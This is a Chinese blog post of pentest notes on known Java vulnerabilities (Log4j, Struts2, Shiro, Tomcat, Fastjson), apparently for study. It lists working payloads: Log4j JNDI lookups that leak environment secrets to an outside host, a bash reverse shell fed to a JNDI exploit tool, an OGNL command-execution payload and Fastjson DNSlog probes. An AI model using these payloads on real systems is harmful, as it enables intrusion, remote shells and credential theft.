526互联

JAVA的几个知名的反序列化漏洞

发布时间 2023-09-08 18:00:50作者: Y0uhe

更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。

Log4j

条件：出网（因为需要请求jndi服务器）

${jndi:ldap://yuvs2b.ceye.io}	//外带请求
${jndi:ldap://${java:version}.f2478a5a.ipv6.1433.eu.org}	//外带数据
${java:version}、${env:JAVA_VERSION}、${env:USER}、${env:AWS_SECRET_ACCESS_KEY}、${env:hostName}

rce

${jndi:ldap://rce.malware.example/a}

Log4j看到${jndi:ldap://rce.malware.example/a}查找表达式并提取JNDI伪URL：ldap://rce.malware.example/a将其传递给JNDI以供处理。JNDI看到该URL使用了LDAP目录服务提供程序，并向rce.malware.example站点发起一条LDAP查询。由于rce.malware.example是被攻击者所控制的，因此可以发送一个引用载荷作为LDAP响应.

反弹shell

linux

https://github.com/welk1n/JNDI-Injection-Exploit

本地监听端口

利用log4j工具，将反弹shell编码

bash -i >& /dev/tcp/172.16.13.132/7314 0>&1

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTMuMTMyLzczMTQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "172.16.13.132"

目标执行

payload:rmi://172.16.13.132:1099/m1gepx

Struts2

Apache Struts2

指纹特征：.do或.action

S2-001

成因：用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析，然后重新填充到对应的表单数据中

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

S2-003

struts2会将http的每个参数名解析为OGNL语句执行，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制

S2-005

S2-003未修复完全，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但攻击者可以利用OGNL表达式将这2个选项打开。

Shiro

Apache Shiro

指纹特征：返回包中cookie值存在remeberMe

Shiro-550采用先验证rememberme的值，然后再进行身份验证，而rememberme的值是通过base64解码后再进行AES解密，然后未进行过滤处理就进行反序列化，然后由于AES解密过程中的密钥是硬编码在代码里的，开发人员没有进行修改，导致攻击者可以通过默认密钥构造恶意的序列化对象，从而绕过了身份认证实现了rce。
Shiro-721则采用先身份认证，然后再验证rememberme的值，并且它采用了AES-CBC的分组对称加密，key是虽然key猜不到了，但是这种加密方式可以利用填充的方式再次实现rce
（CBC是密码分组链接）

Tomcat

Apache Tomcat

当tomcat开启session持久化功能，并同时存在上传功能，攻击者可通过构造恶意的请求达到远程命令执行的效果

后台弱口令上传war包

影响版本：Tomcat版本：7.0.x ~ 8.0.x

war包命令生成

jar -cvf 1.war 1.jsp

WAR file to deploy功能上传文件，自动解压。

WebLogic

Oracle WebLogic

指纹特征：Error 404-Not Found

Fastjson

阿里 Fastjson
Java站并且传的数据是JSON格式的都可以尝试

原理

Fastjson fastjson可以解析用户提交的JSON字符串，并将其转换为Java对象。
但是如果用户提交了一个恶意的JSON字符串，其中包含了可以执行Java代码的特殊字符串，那么fastjson在转换过程中可能会执行这段代码，从而导致漏洞。
可以使用fastjson的白名单功能来避免

fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，autoType标注了类对应的原始类型，方便在反序列化的时候定位到具体类型，fastjson在对JSON字符串进行反序列化的时候，就会读取@type的内容，试图把JSON内容反序列化成这个对象，并且会调用这个类的setter方法。并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链,造成远程代码执行。
因为有了autoType功能，那么fastjson在对JSON字符串进行反序列化的时候，就会读取@type到内容，试图把JSON内容反序列化成这个对象，并且会调用这个类的setter方法。那 么就可以利用这个特性，自己构造一个JSON字符串，并且使用@type指定一个自己想要使用的攻击类库。
在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击，我们给此类中的setDataSourcesName输入恶意内容（rmi链接），让目标服务在反序列化的时候，请求rmi服务器，执行rmi服务器下发的命令，从而导致远程命令执行漏洞

指纹特征

1、根据返回包判断
任意抓个包，提交方式改为POST，花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽。
image

2、利用DNSlog盲打

利用DNSlog盲打

构造以下payload，利用sdnslog平台接收。

 {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

 {"@type":"java.net.Inet4Address","val":"dnslog"}
 {"@type":"java.net.Inet6Address","val":"dnslog"}
 畸形：{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

image